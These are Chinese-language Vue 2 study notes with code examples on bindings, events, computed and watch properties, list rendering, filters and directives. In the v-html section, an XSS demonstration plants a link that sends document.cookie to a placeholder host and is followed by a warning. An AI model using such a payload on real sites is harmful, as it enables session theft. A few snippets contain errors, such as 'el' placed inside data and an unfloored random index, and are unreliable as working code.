Vue2 学习笔记
1 初识 Vue
1.1 什么是 Vue
-
Vue 是一套用于构建用户界面的渐(逐渐)进(递进)式 JavaScript 框架
-
Vue 可以自底向上逐层应用,由国人尤雨溪开发
-
采用组件化模式,提高代码的复用率、让代码更好维护
-
声明式编码方式,让编码人员无需直接操作 DOM,提高开发效率
-
使用虚拟DOM + 优秀的 Diff 算法,尽量复用 DOM 节点
1.2 引入 Vue
- 本地方式引入
<script src="../js/vue.js"></script>
- 网络 CDN 方式引入
<script src="https://cdn.jsdelivr.net/npm/vue@2.6.14/dist/vue.js"></script>
1.3 Vue 基本结构
在初学阶段,Vue 的结构由 容器 + 对象 两大部分构成
<!--Vue对象所要服务的容器-->
<!--容器要取到 Vue 对象传递的值,需要使用 {{}} 来取值-->
<div id="root">
<h2>Hello, {{name}},你 {{age}} 岁</h2>
</div>
<script>
new Vue({
el: '#root', //该 Vue 对象所绑定的容器对象,值通常为 css 选择器字符串
data: { //data 中用来存储数据,值用来供 el 所绑定的容器去使用,基础阶段使用对象来表示
name: '张三',
age: '18'
}
})
</script>
Q:一个容器能否对应多个实例?或者,一个实例能否对应多个实例?
A:一个Vue实例,只能对应一个容器,两者是一一对应的关系
<!--一个容器能对应多个实例-->
<div id="root">
<h2>{{name}},{{age}}</h2>
</div>
<script>
new Vue({
el: '#root', //该 Vue 对象所绑定的容器对象,值通常为 css 选择器字符串
data: { //data 中用来存储数据,值用来供 el 所绑定的容器去使用,基础阶段使用对象来表示
name: '张三'
}
})
new Vue({
el: '#root', //该 Vue 对象所绑定的容器对象,值通常为 css 选择器字符串
data: { //data 中用来存储数据,值用来供 el 所绑定的容器去使用,基础阶段使用对象来表示
age: '20'
}
})
</script>
<!--一个实例能对应多个实例-->
<div class="root">
<h2>{{name}},{{age}} 1</h2>
</div>
<div class="root">
<h2>{{name}},{{age}} 2</h2>
</div>
<script>
new Vue({
el: '.root', //该 Vue 对象所绑定的容器对象,值通常为 css 选择器字符串
data: { //data 中用来存储数据,值用来供 el 所绑定的容器去使用,基础阶段使用对象来表示
name: '张三',
age: 18
}
})
</script>
总结:
要让 Vue 工作,就必须创建一个 Vue 实例,并且要传入一个配置对象
容器中的代码依然符合 html 的规范,只不过加入了一些 Vue 的语法
容器中的代码被称作 Vue 模板
Vue 实例与容器是一一对应的关系
真实的开发中,只会有一个 Vue 实例,并且会配合着组件一起使用
{{xxx}} 中的 xxx 要写 Js 表达式,且 xxx 可以自动读取到 data 中的所有属性
一旦 data 中数据发生改变,那么模板中用到该数据的地方就会自动更新
2 基础知识
2.1 模板语法
2.1.1 插值语法
<div id="root">
{{name}}
</div>
<script>
new Vue({
el: '#root',
data: {
name: '张三'
}
})
</script>
2.1.2 指令语法
<div id="root">
<!-- v-bind 可以简写为 : -->
<a v-bind:href="url">点我去百度 - 完整写法</a>
<a :href="url">点我去百度 - 简略写法</a>
</div>
<script>
new Vue({
el: '#root',
data: {
url: 'https://www.baidu.com'
}
})
</script>
总结:
插值语法
功能:用于解析标签体中的内容
写法:{{xxxx}},其中 xxxx 是 js 表达式,且可以直接读取到 data 中的所有属性
指令语法
功能:用于解析标签(包括:标签属性、标签体内容、绑定事件...)
写法:形式均为 v-xxx 形式
2.2 数据绑定
<div id="root">
单向绑定:<input type="text" :value="name">
双向绑定:<input type="text" v-model:value="name">
</div>
<script>
new Vue({
el: '#root',
data: {
name: '荒天帝'
}
})
</script>
总结:
单向绑定(v-bind):数据只能由 data 流向页面
双向绑定(v-model)
数据既能从 data 流向页面,也能从页面流向 data
双向绑定一般都应用在表单类元素上(input、select...)
v-model:value 可以简写为 v-model,因为 v-model 默认绑定的就是 value 属性
2.3 Vue 对象的写法
el 的两种写法:
<script>
new Vue({
data: {
el: '#root',
name: '荒天帝'
}
})
</script>
<script>
const vm = new Vue({
data: {
name: '荒天帝'
}
})
vm.$mount('#root');
</script>
data 的两种写法:
<script>
//对象式写法
new Vue({
data: {
name: '荒天帝'
}
})
</script>
<script>
//函数式写法
new Vue({
data: function(){
return {
name: '荒天帝'
}
}
})
</script>
总结:
el 的两种写法
new Vue 的时候,直接配置 el 属性
先创建 Vue 实例,然后再对实例使用 .$mount() 函数进行指定 el 的值
data 的两种写法
对象式写法:data:
函数式写法:data(){return {xxxx}},它是由 Vue 管理的实例,一定不要写箭头函数,箭头函数的实例就不再是 Vue 了
2.4 MVVM 模型
M:模型(MOdel):对应 data 中的数据
V:视图(View):对应模板
VM:视图模型(ViewModel):Vue 的实例对象
data 中的所有属性,最后都会出现在 Vue 的实例 vm 身上
vm 的所有属性、Vue 原型上的所有属性,在 Vue 模板中都可以直接使用
2.5 数据代理
假设 Vue 实例为 vm,那么当我们访问 vm 的属性时,就会调用 vm 的 getter 方法,当修改 vm 的属性时,就会调用 vm 的 setter 方法(这点非常类似于 Java 实体类所具有的 Getter、Setter 方法),这就是 数据代理
<div id="root">
{{name}} - {{age}}
</div>
<script>
const vm = new Vue({
el: '#root',
data: {
name: '荒天帝',
age: 18
}
})
</script>
Q:数据代理的流程及原理?
当我们创建一个
Vue
实例vm
的时候,该实例所具有的data
属性中的值,就会被Vue
保存在一个名为_data
的属性中当去访问
vm
的data
中的值时,Vue
就会调用vm
实例的getter
方法来获取data
中的值(亦即_data
中的值)当修改
vm
的data
中的值时,Vue
会调用vm
实例的setter
方法来修改vm._data
中的值而由 1 知,
vm
对象创建之初,data
中的值就被保存在了_data
中,所以修改_data
完全等同于修改data
而
data
又和前端页面的模板绑定,因此会发生vm.xxx ==> vm._data.xxx ==> vm.data.xxx ==> {{xxx}}
链式连锁反应
2.6 事件处理
<div id="root">
<button @click="infoOne($event, 666)">点击我显示信息(传参)</button>
<button @click="infoTwo">点击我显示信息(不传参)</button>
</div>
<script>
new Vue({
el: '#root',
methods: {
infoOne(event, number){
console.log(event.target.innerText);
console.log(number);
},
infoTwo(){
console.log('Hello');
}
}
})
</script>
总结:
使用 v-on:xxx 或者 @xxx 绑定事件,其中 xxx 是事件名
事件的回调需要配置在 methods 中,最终会在 vm 上
methods 中配置的函数,不能使用箭头函数,使用后 this 就会变成 window 而非 Vue 实例了
@click="demo" 和 @click="demo($event)" 的效果一致,区别在于后者可以传参
2.7 事件修饰符
<div id="root">
<!-- prevent:阻止默认事件(常用)-->
<a href="https://www.baidu.com" @click.prevent="showInfo">提示信息</a>
<!-- stop:阻止事件冒泡(常用)-->
<div @click="showInfo">
<button @click.stop="showInfo">提示信息</button>
</div>
<!-- once:事件只触发一次(常用)-->
<!--第一次点击按钮有弹窗,之后点击无反应-->
<button @click.once="showInfo">提示信息</button>
<!-- capture:使用事件的捕获模式-->
<!--正常情况是先捕获再冒泡,输出顺序为 222, 111-->
<!--使用了 capture 修饰符之后,顺序为 111, 222,即 div-1 的事件在捕获阶段就会执行-->
<div style="margin: 10px;background: teal" @click.capture="showMsg(111)">div-1
<div style="margin: 10px;background: red" @click="showMsg(222)">div-2</div>
</div>
<!-- self:只有 event.target 是当前操作的元素时才会触发事件-->
<!--只有点击 div 时才会触发 div 的 click 事件,这里是冒泡冒上去的,所以 div 的 click 并不会执行
因此只会显示依次信息,正常的冒泡会显示两次信息 -->
<div @click.self="showInfo" style="margin: 10px;background: aquamarine">
<button @click="showInfo">提示信息</button>
</div>
<!-- passive:事件的默认行为立即执行,无需等待事件回调执行完毕-->
<!-- 当滚动滚轮的时候,默认情况下只有执行完了函数,才会执行默认的滚动事件,
加上 passive 修饰符之后,会不等函数执行完,就立即响应滚动事件-->
<ul @wheel.passive="myMove" style="height: 100px;background: aqua;overflow: auto">
<li style="height: 300px">1</li>
<li style="height: 300px">2</li>
<li style="height: 300px">3</li>
<li style="height: 300px">4</li>
</ul>
</div>
<script>
new Vue({
el: '#root',
methods: {
showInfo() {
alert('Hello')
},
showMsg(msg) {
console.log(msg)
},
myMove() {
for (let i = 0; i < 100000; i++) {
console.log('@')
}
}
}
})
</script>
Vue 中的事件修饰符
prevent:阻止默认事件(常用)
stop:阻止事件冒泡(常用)
once:事件只触发一次(常用)
capture:使用事件的捕获模式
self:只有 event.target 是当前操作的元素时才会触发事件
passive:事件的默认行为立即执行,无需等待事件回调执行完毕
2.8 键盘事件
<div id="root">
<!--单个字母的按键-->
<input type="text" placeholder="单字母,Enter" @keydown.enter="showInfoEnter">
<!--多个字母的按键-->
<input type="text" placeholder="多字母,PageUp" @keydown.page-up="showInfoCapsLock">
<!--系统修饰键,配合 keyup,按下修饰键后,按下后再按别的键,然后别的键抬起,才会触发-->
<input type="text" placeholder="修饰键,Ctrl + keyup" @keyup.ctrl="showInfoCtrlUp">
<!--系统修饰键,配合 keydown,按下修饰键,就会触发-->
<input type="text" placeholder="修饰键,Ctrl + keydown" @keydown.ctrl="showInfoCtrlDown">
<!--使用 keyCode 的触发事件-->
<input type="text" placeholder="使用 keyCode 触发 Enter" @keydown.13="showInfoKeyCode">
<!--自定义别名-->
<input type="text" placeholder="自定义别名" @keydown.hello="showInfoDiy">
</div>
<script>
//自定义别名定义回车键
Vue.config.keyCodes.hello = 13
new Vue({
el: '#root',
methods: {
//单个字母的按键
showInfoEnter(event) {
console.log('按下了' + event.key + '键')
},
//多个字母的按键
showInfoCapsLock(event) {
console.log('按下了' + event.key + '键')
},
//系统修饰键,配合 keyup
showInfoCtrlUp(event) {
console.log('按下了' + event.key + '键')
},
//系统修饰键,配合 keydown
showInfoCtrlDown(event) {
console.log('按下了' + event.key + '键')
},
//使用 keyCode 的触发 Enter
showInfoKeyCode(event) {
console.log('按下了' + event.key + '键')
},
//自定义别名定义回车键
showInfoDiy(event) {
console.log('按下了' + event.key + '键')
}
}
})
</script>
- Vue 中常用的按键别名
回车 ==> enter
删除 ==> delete(删除键、退格键)
退出 ==> esc
空格 ==> space
换行 ==> tab(要配合 keydown 使用,若是 keyup,则会切换焦点,不执行绑定的函数)
上、下、左、右 ==> up、down、left、right
Vue 中未提供别名的按键,可以使用按键原始的 Key 值去绑定,但是要转换为 kebab-case(短横线命名形式)
系统修饰键(用法特殊):ctrl、alt、shift、meta
配合 keyup 使用:按下修饰键的同时,再按下其他键,随后释放其他键,触发事件
配合 keydown 使用:正常触发事件
也可以使用按键的编码去触发事件(不推荐,将来可能被废弃)
Vue 中可以使用
Vue.config.keyCodes.自定义键名 = 键码
来定制按键别名(不推荐)
2.9 计算属性
现在实现如下需求:
有一个输入姓名的输入框、一个输入年龄的输入框、同时显示姓名和年龄的面板
要求:
三者均具有初始值
两个输入框的值改变时,面板的值也会随之改变
不管输入框输入的字符长度为多长,面板只显示前五位
初级 - 使用插值语法实现
这种方式看似可以实现,但是有一个弊端,如果显示框中的业务需求越来越多(比如反转、大小写、首字母大写、字体颜色...)
我们只能不断地去扩充 {{}} 中的 js 表达式,这样做虽然可行,但是会让代码的可读性越来越差
<div id="root">
姓名:<input type="text" v-model="name"><br>
年龄:<input type="text" v-model="age"><br>
信息:<span>{{name.slice(0, 5)}} 今年 {{age.slice(0, 5)}} 岁</span>
</div>
<script>
new Vue({
el: '#root',
data: {
name: '荒天帝',
age: '18'
},
methods: {
}
})
</script>
进阶 - 使用 methods 实现
现在看来虽然也可以实现,但是,并进是调用方法,这样耗时耗力,所以为了节约时间,我们可以使用 计算属性 来实现(他只是一个属性,并非方法)
<div id="root">
姓名:<input type="text" v-model="name"><br>
年龄:<input type="text" v-model="age"><br>
信息:<span>{{showInfo()}}</span>
</div>
<script>
new Vue({
el: '#root',
data: {
name: '荒天帝',
age: '18'
},
methods: {
showInfo() {
return this.name.slice(0, 5)
+ ' 今年 '
+ this.age.slice(0, 5)
+ '岁';
}
}
})
</script>
高级 - 使用计算属性实现
-
计算属性:要使用的属性不存在,要通过已有的属性计算得到
-
计算属性的优势:与 methods 相比,内部有缓存机制,效率更高
-
计算属性最终会出现在 vm 上,直接调用即可
-
当计算属性需要被修改是,就必须要写对应的 setter,并且该计算属性所依赖的属性也需要被修改
<div id="root">
姓名:<input type="text" v-model="name"><br>
年龄:<input type="text" v-model="age"><br>
<!--这里它只是一个属性,因此调用方式为 属性名,而非 属性名() -->
信息:<span>{{showInfo}}</span>
</div>
<script>
new Vue({
el: '#root',
data: {
name: '荒天帝',
age: '18'
},
computed: {
showInfo: {
get() {
console.log('get被调用了')
return this.name.slice(0, 5)
+ ' 今年 '
+ this.age.slice(0, 5)
+ '岁';
}
}
}
})
</script>
Q : get 有何作用?
A : 当第一次调用计算属性时会调用该属性的 getter,然后将结果缓存,直到触发 getter 被修改的条件,缓存才会失效
Q : get 什么时候被调用?
A :
计算属性被读取的时候(本例子中的 showInfo 属性)
get 所依赖的属性值发生改变的时候(本例子中 name、age 发生改变时)
计算属性 - 简写
Q : 什么时候计算属性可以简写?
A : 确定了,该计算属性只读不改的情况下(只调用 getter,不调用 setter),就可以使用简写
<div id="root">
姓名:<input type="text" v-model="name"><br>
年龄:<input type="text" v-model="age"><br>
信息:<span>{{showInfo}}</span>
</div>
<script>
new Vue({
el: '#root',
data: {
name: '荒天帝',
age: '18'
},
computed: {
//简写时,可以省略写 get(),直接写成 showInfo: function(){xxxx}
//然后可以再次简写为:showInfo(),看起来是一个函数,实际上是计算属性
showInfo() {
console.log('get被调用了')
return this.name.slice(0, 5)
+ ' 今年 '
+ this.age.slice(0, 5)
+ '岁';
}
}
})
</script>
2.10 侦听属性
2.10.1 普通侦听
<div id="root">
<h3>今天的天气很{{info}}</h3><br>
<button @click="changeWeather()">改变天气</button>
</div>
<script>
new Vue({
el: '#root',
data: {
isHot: true
},
computed: {
info(){
return this.isHot ? '炎热' : '凉爽'
}
},
methods: {
changeWeather() {
this.isHot = !this.isHot;
}
},
//使用 watch 配置来进行侦听,配置方法一,直接在 vm 实体化时进行配置
watch: {
isHot: {
handler(newValue, oldValue){
console.log('isHot被修改了,原来的值为'+ oldValue + ',现在的值为' + newValue);
}
}
}
})
</script>
<div id="root">
<h3>今天的天气很{{info}}</h3><br>
<button @click="changeWeather()">改变天气</button>
</div>
<script>
const vm = new Vue({
el: '#root',
data: {
isHot: true
},
computed: {
info(){
return this.isHot ? '炎热' : '凉爽'
}
},
methods: {
changeWeather() {
this.isHot = !this.isHot;
}
},
watch: {
isHot: {
handler(newValue, oldValue){
console.log('isHot被修改了,原来的值为'+ oldValue + ',现在的值为' + newValue);
}
}
}
})
//使用 watch 配置来进行侦听,配置方法二,调用 vm 实体进行配置
vm.$watch('isHot', {
handler(newValue, oldValue){
console.log('isHot被修改了,原来的值为'+ oldValue + ',现在的值为' + newValue);
}
})
</script>
总结:
当被侦听的属性发生变化时,回调函数自动调用,进行有关操作
侦听的属性必须是存在的,才可以进行侦听
侦听的两种写法
new Vue 是传入 watch 配置
通过
vm.$watch
进行侦听
2.10.2 深度侦听
<div id="root">
<p>a 的值为 {{numbers.a}}</p>
<p>b 的值为 {{numbers.b}}</p>
<button @click="numbers.a++">点我为 a 加一</button>
<button @click="numbers.b++">点我为 b 加一</button>
</div>
<script>
new Vue({
el: '#root',
data: {
numbers: {
a: 1,
b: 1
}
},
watch: {
numbers: {
//开启深度侦听
deep: true,
handler(){
console.log('numbers 被改变');
}
}
}
})
</script>
深度侦听:
Vue 中的 watch 默认不检测对象内部值的改变
配置 deep: true 可以检测对象内部值的改变
Vue 自身可以侦听对象内部值的改变,但是 Vue 提供的 watch 默认不可以
2.11 class 绑定
实现如下需求:
初始化一个带有边框的 div,点击切换样式按钮,在基本样式的基础上,新增 div 的 class 属性(基本样式固定,新增样式不固定)
<!--字符串写法:适用于新增样式类名不确定,需要动态指定的情况-->
<style>
.basic {
width: 200px;
height: 80px;
border: 2px black solid;
background: #b5b5ff;
}
.radius-small {
border-radius: 5px;
}
.radius-mid{
border-radius: 10px;
}
.radius-big {
border-radius: 15px;
}
</style>
<div id="root">
<!--使用 :class 动态新增样式-->
<div class="basic" :class="diy">测试框</div>
<button @click="changeRadiusSmall">小圆角</button>
<button @click="changeRadiusMid">中圆角</button>
<button @click="changeRadiusBig">大圆角</button>
</div>
<script>
new Vue({
el: '#root',
data: {
diy: 'radius-small'
},
methods: {
changeRadiusSmall(){
this.diy = 'radius-small'
},
changeRadiusMid(){
this.diy = 'radius-mid'
},
changeRadiusBig(){
this.diy = 'radius-big'
}
}
})
</script>
<!--数组写法:适用于新增样式不确定、且不知道样式名的情况-->
<style>
.basic {
width: 200px;
height: 80px;
border: 2px black solid;
background: #b5b5ff;
}
.radius-small {
border-radius: 5px;
}
.radius-mid{
border-radius: 10px;
}
.radius-big {
border-radius: 15px;
}
</style>
<div id="root">
<div class="basic" :class="diy">测试框</div>
<button @click="changeStyle">修改样式</button>
</div>
<script>
new Vue({
el: '#root',
data: {
diy: 'radius-small'
},
methods: {
changeStyle(){
const arr = ['radius-small', 'radius-mid', 'radius-big']
this.diy = arr[Math.random() * arr.length]
}
}
})
</script>
2.12 条件渲染
<!--只是通过设置 display: none 样式来控制显示与不显示,div 的结构实际还在-->
<div v-show="false">{{name}}</div>
<!--条件为 false 时,整个 div 结构都会直接消失-->
<div v-if="false">{{name}}</div>
<!-- v-else-if 用发与后端中的判断用法一致-->
<div id="root">
<div>当前等级:{{level}}</div>
<button @click="level++">点我升级</button>
<!--下方的六个 div 必须为一个整体,不能被背的标签打乱,否则条件渲染无效-->
<div v-if="level === 0">气武境</div>
<div v-else-if="level === 1">天武境</div>
<div v-else-if="level === 2">上位皇</div>
<div v-else-if="level === 3">大帝</div>
<div v-else-if="level === 4">天帝</div>
<div v-else>神灵</div>
</div>
<script>
new Vue({
el: '#root',
data: {
level: 0
},
methods: {
}
})
</script>
总结:
v-if
写法有三种:
v-if="表达式"
、v-else-if="表达式"
、v-else="表达式"
适用于切换频率较低的场景
不展示的 dom 元素会直接被移除
v-if 可以和 v-else-if、v-else 一起使用,但是要求结构之间不能被打断
v-show
写法:
v-show="表达式"
适用于切换频率较高的场景
不展示的 dom 元素不会被移除,仅仅是使用
display: none
进行隐藏使用 v-if 时,元素可能无法获取到,但是 v-show 一定可以获取到
2.13 列表渲染
2.13.1 v-for 的使用
v-for 语法:
v-for="(item, index) in xxx" :key="index"
(其中 :key 推荐写,其作用下文分析)
<div id="root">
<h5>遍历数组</h5>
<ul>
<li v-for="(per, index) in persons" :key="index">
姓名:{{per.name}} 年龄:{{per.age}} 索引:{{index}}
</li>
</ul>
<h5>遍历对象</h5>
<ul>
<li v-for="(value, key) in student" :key="key">
值:{{value}} 键值名:{{key}}
</li>
</ul>
<h5>遍历字符串</h5>
<ul>
<li v-for="(st, index) in str" :key="index">
字符:{{st}} 索引:{{index}}
</li>
</ul>
<h5>普通遍历指定次数</h5>
<ul>
<li v-for="(num, index) in 3" :key="index">
数字:{{num}} 索引:{{index}}
</li>
</ul>
</div>
<script>
new Vue({
el: '#root',
data: {
persons: [
{id: '001', name: '张三', age: 18},
{id: '002', name: '李四', age: 20},
{id: '003', name: '王五', age: 19}
],
student: {
name: '荒天帝',
age: 500,
address: '荒域'
},
str: 'Hello'
}
})
</script>
2.13.2 key 原理探究
React、Vue 中的 key 有什么作用?(key 的原理)
- 虚拟 DOM 中 key 的作用
key 是虚拟 DOM 对象的标识,当状态中的数据发生变化时,Vue 会根据【新数据】生成【新的虚拟 DOM】
然后 Vue 会进行【新虚拟 DOM】与【旧虚拟 DOM】的差异比较
- 比较规则
旧的虚拟 DOM 中找到了与新的虚拟 DOM 中相同的 key:
若虚拟 DOM 中内容没变,直接使用之前的真实 DOM
若虚拟 DOM 中内容改变,则生成新的真实 DOM,随后替换掉页面中之前的真实 DOM
旧的虚拟 DOM 中未找到与新的虚拟 DOM 相同的 key:创建新的真实 DOM 并渲染到页面
- 用 index 作为 key 可能引发的问题
若对数据进行逆序添加、逆序删除等破坏顺序的操作,会产生没有必要的真实 DOM 更新(页面没问题,但效率低下)
若结构中包含输入类的 DOM,会产生错误的 DOM 更新,导致界面出错
- 开发中如何选择 key 用 index 或者唯一 id?
最好使用每条数据的唯一标识作为 key,比如id、手机号、身份证号、学号...
如果不存在对数据的逆序添加、逆序删除等破坏顺序的操作,仅用于渲染列表并展示,使用 index 作为 key 则不会有任何问题
2.13.3 列表过滤
实现如下需求:
现有四个人员列表,上方有一个输入框,当上方输入框输入不同的关键字时,根据姓名动态搜索并显示包含该关键字的姓名
<div id="root">
<input type="text" placeholder="输入搜索内容..." v-model="keyWord">
<ul>
<li v-for="per in filterPersons" :key="per.id" v-if="per.name">
{{per.name}} - {{per.age}} - {{per.sex}}
</li>
</ul>
</div>
<script>
new Vue({
el: '#root',
data: {
keyWord: '',
persons: [
{id: '001', name: '石昊', age: 18, sex: '男'},
{id: '002', name: '昊天', age: 20, sex: '男'},
{id: '003', name: '天帝', age: 19, sex: '女'},
{id: '004', name: '帝霸', age: 19, sex: '女'}
],
filterPersons: []
},
watch: {
keyWord: {
//刚开始什么都不输入的情况下,应该显示所有数据
//所以设置 immediate: true,一开始就会使用空串匹配,匹配到所有数据
immediate: true,
handler(val){
this.filterPersons = this.persons.filter((p) => {
return p.name.indexOf(val) !== -1
})
}
}
}
})
</script>
2.13.4 列表排序
现在基于上面的例子,要实现根据年龄进行升序、降序排列
<div id="root">
<input type="text" placeholder="输入搜索内容..." v-model="keyWord">
<button @click="sortType = 1">升序排列</button>
<button @click="sortType = 2">降序排列</button>
<button @click="sortType = 0">原顺序</button>
<ul>
<li v-for="per in filterPersons" :key="per.id" v-if="per.name">
{{per.name}} - {{per.age}} - {{per.sex}}
</li>
</ul>
</div>
<script>
new Vue({
el: '#root',
data: {
keyWord: '',
sortType: 0, //0->原顺序,1 -> 升序,2 -> 降序
persons: [
{id: '001', name: '石昊', age: 25, sex: '男'},
{id: '002', name: '昊天', age: 12, sex: '男'},
{id: '003', name: '天帝', age: 33, sex: '女'},
{id: '004', name: '帝霸', age: 11, sex: '女'}
]
},
computed: {
filterPersons(){
const arr = this.persons.filter((p) => {
return p.name.indexOf(this.keyWord) !== -1;
})
//判断是否需要排序
if (this.sortType){
arr.sort((per1, per2) => {
return this.sortType === 1 ? per1.age - per2.age : per2.age - per1.age
})
}
return arr
}
}
})
</script>
2.14 收集表单数据
<div id="root">
<form action="#" @submit.prevent="showInfo">
账号:<input type="text" v-model="userInfo.account"><br><br>
密码:<input type="password" v-model="userInfo.password"><br><br>
性别:
<input type="radio" name="sex" value="boy" v-model="userInfo.sex">男
<input type="radio" name="sex" value="girl" v-model="userInfo.sex">女<br><br>
爱好:
<input type="checkbox" value="game" v-model="userInfo.hobby">游戏
<input type="checkbox" value="code" v-model="userInfo.hobby">代码
<input type="checkbox" value="read" v-model="userInfo.hobby">阅读<br><br>
所属地区:
<select v-model="userInfo.area">
<option value="">--请选择地区--</option>
<option value="shanghai">上海</option>
<option value="beijing">北京</option>
<option value="guangzhou">广州</option>
</select><br><br>
备注:
<textarea v-model.lazy="userInfo.info" id="info" cols="25" rows="6"></textarea><br><br>
<input type="checkbox" v-model="userInfo.agree">阅读并接受<a href="#">《用户协议》</a><br><br>
<button>提交</button>
</form>
</div>
<script>
new Vue({
el: '#root',
data: {
userInfo: {
account: '',
password: '',
sex: '',
hobby: [],
area: '',
info: '',
agree: ''
}
},
methods: {
showInfo(){
console.log(JSON.stringify(this.userInfo));
}
}
})
</script>
2.15 过滤器
2.15.1 局部过滤器
<div id="root">
<div>现在时间是(过滤器实现):{{nowTime | getTimeByFilter}}</div>
<!--多个过滤器时,链式传递值:
nowTime 交给 getTimeByFilter 处理完之后生成返回值 res,res再交给 yearFilter 处理,层层递进-->
<div>现在年份是(多个过滤器实现):{{nowTime | getTimeByFilter | yearFilter}}</div>
</div>
<script>
new Vue({
el: '#root',
data: {
nowTime: Date.now()
},
filters: {
//这里的过滤器都是局部过滤器
getTimeByFilter(value) {
let date = new Date(value);
return date.getFullYear() + '年'
+ (date.getMonth() + 1) + '月'
+ date.getDate() + '日\t'
+ date.getHours() + ':'
+ date.getMinutes() + ':'
+ date.getSeconds();
},
yearFilter(value) {
return value.slice(0, 4) + '年';
}
}
})
</script>
2.15.2 全局过滤器
<script>
Vue.config.productionTip = false;
Vue.filter('myFilter', function (value) {
let res = value[0];
console.log('最终网址为:' + res);
return res;
})
new Vue({
el: '#root',
data: {
urls: ['http://www.baidu.com','http://www.bilibili.com'],
msg: ['http://www.xxxx.cn', 'http://lift.xxxx.com', 'http://lift.top'],
}
})
</script>
总结:
定义:对要显示的数据进行特定的格式化后再显示(适用于一些简单的逻辑处理)
语法
局部过滤器:
new Vue(){ filters: {xxx} }
全局过滤器:
Vue.filter(name, callback)
使用范围
插值语法中使用:
{{args | filterName}}
v-bind
中使用:v-bind:属性="args | filterName"
过滤器可以接收额外的参数、多个过滤器可以进行串联,当前过滤器的默认参数是上一个过滤器的处理结果
并未改变原有的数据,只是通过原有数据来产生新数据
2.16 内置指令
指令语法 | 指令作用 |
---|---|
v-bind |
单向绑定解析表达式,可以简写为: |
v-model |
双向数据绑定 |
v-on |
绑定事件监听,可简写为 @ |
v-for |
循环遍历数组、对象、字符串 |
v-if、v-else、v-else-if |
条件渲染,动态控制节点是否存在 |
v-show |
条件渲染,动态控制节点是否展示 |
v-text |
向其所在节点中渲染文本内容 |
v-html |
向其所在节点中渲染网页结构,有安全隐患 |
v-cloak |
解决网速慢时页面展示出 {{xxx}} 问题 |
v-once |
被标记的结构,动态渲染一次之后就会被 Vue 视作静态内容 |
v-pre |
跳过所在节点的编译过程,加快编译 |
2.16.1 v-text 指令
<div id="root">
v-text 指令:<div v-text="name">我会被替换掉</div>
<br>
插值语法:<div>我不会被替换,{{name}}</div>
</div>
<script>
Vue.config.productionTip = false
new Vue({
el: '#root',
data: {
name: '荒天帝'
}
})
</script>
总结:
作用:会向其所在节点中渲染 文本内容
与插值语法相比较,v-text 会替换掉节点中的所有内容,{{xxx}} 则不会
2.16.2 v-html 指令
<div id="root">
<div v-html="str"></div>
<div v-html="str2"></div>
</div>
<script>
Vue.config.productionTip = false
new Vue({
el: '#root',
data: {
str: '<h5 style="color: red">你好</h5>',
str2: '<a href=javascript:location.href="http://www.xxxxx.com?"+document.cookie>点击获取学习资料</a>'
}
})
</script>
总结:
作用:向所在节点中渲染包含 html 结构的内容
v-html 会替换节点中的内容,v-html 可以识别 html 结构
v-html 具有安全性问题:
在网站上动态渲染任何 html 都是非常危险的行为,容易导致 XSS 攻击
一定要在可信的内容上使用 v-html,永远不要在用户提交的内容上使用!
2.16.3 v-cloak 指令
<div id="root">
<div v-cloak>{{name}}</div>
</div>
<script>
Vue.config.productionTip = false
new Vue({
el: '#root',
data: {
name: '荒天帝'
}
})
</script>
总结:
该指令本质是一个特殊属性,Vue 实例创建完毕并接管容器之后,会删除掉 v-cloak 属性
使用 css 配合 v-cloak 指令可以解决网速慢时页面展示出 {{xxx}} 问题
2.16.4 v-once 指令
<div id="root">
<div v-once>初始 num 值:{{num}}</div>
<div>当前 num 值:{{num}}</div>
<button @click="num++">num 加一</button>
</div>
<script>
Vue.config.productionTip = false
new Vue({
el: '#root',
data: {
num: 1
}
})
</script>
总结:
v-once 所在节点在初次动态渲染之后,就会被 Vue 视作静态内容了
以后数据的改变都不会引起 v-once 所在的结构发生改变了,可用于优化性能
2.16.5 v-pre 指令
<div id="root">
<p v-pre>Hello</p>
<div v-pre>当前 num 值:{{num}}</div>
</div>
<script>
Vue.config.productionTip = false
new Vue({
el: '#root',
data: {
num: 1
}
})
</script>
总结:
该指令会跳过所在节点的编译过程
可利用该指令跳过:没有使用指令的语法、没有使用插值语法的节点,可以加快编译速度
2.17 自定义指令
2.17.1 函数式定义
实现需求:定义一个 v-big 指令,与 v-text 类似,但是会将绑定的值放大 10 倍
<div id="root">
<div>当前的 num 值为:<span v-text="num"></span></div>
<div>放大的 num 值为:<span v-big="num"></span></div>
<button @click="num++">num 加一</button>
</div>
<script>
Vue.config.productionTip = false
new Vue({
el: '#root',
data: {
num: 1
},
directives: {
//element 为当前指令所在的标签(这里就是 <span></span>)
//binding 为该指令绑定的对象(expression、value...)
big(element, binding) {
element.innerText = binding.value * 10
}
}
})
</script>
Q:big 指令何时会被调用?
A:指令与元素成功绑定时、指令所在的模板被重新解析时
2.17.2 对象式定义
实现需求:定义一个 v-fbind 指令,与 v-bind 类似,但是可以让其绑定的 input 元素默认获取焦点
<div id="root">
<input type="text" v-fbind:value="num">
</div>
<script>
Vue.config.productionTip = false
new Vue({
el: '#root',
data: {
num: 1
},
directives: {
fbind: {
//指令与元素成功绑定时被调用
bind(element, binding){
element.value = binding.value
},
//指令所在的元素成功插入到页面时被调用
inserted(element, binding){
element.focus()
},
//指令所在模板重新解析时被调用
update(element, binding){
element.value = binding.value
}
}
}
})
</script>
2.17.3 自定义指令总结
定义方式
-
局部指令:
new Vue({ directives: {指令名: 配置对象} })
或者new Vue({ direcctives: {指令名: 回调函数} })
-
全局指令:
Vue.directive(指令名, 配置对象)
或者Vue.directive(指令名, 回调函数)
配置对象中常用的三个回调函数
-
bind
:指令与元素成功绑定时被调用 -
inserted
:指令所在元素被插入页面时被调用 -
update
:指令所在模板结构被重新解析时被调用
备注
-
指令定义时不加
v-
,但是使用时要加上上v-
-
指令名如果是多个单词时,要使用
kebab-case
命名方式,不要使用camelCase
命名方式
2.18 Vue 实例的生命周期
2.18.1 生命周期函数
实现需求:页面显示文字,文字刚开始透明度为 1,然后慢慢减少直至消失,然后再恢复为 1,循环往复...
<div id="root">
<h4 :style="{opacity: num}">Hello Vue</h4>
</div>
<script>
Vue.config.productionTip = false
new Vue({
el: '#root',
data: {
num: 1
},
//生命周期函数中的一种 mounted()
//vue 完成模板的解析并把初始的(最初的、第一次的)真实 DOM 放入页面的时候(挂载结束),就会调用挂载函数 mounted()
mounted() {
setInterval(() => {
this.num -= 0.01
if (this.num <= 0)
this.num = 1
}, 16)
}
})
</script>
生命周期函数
-
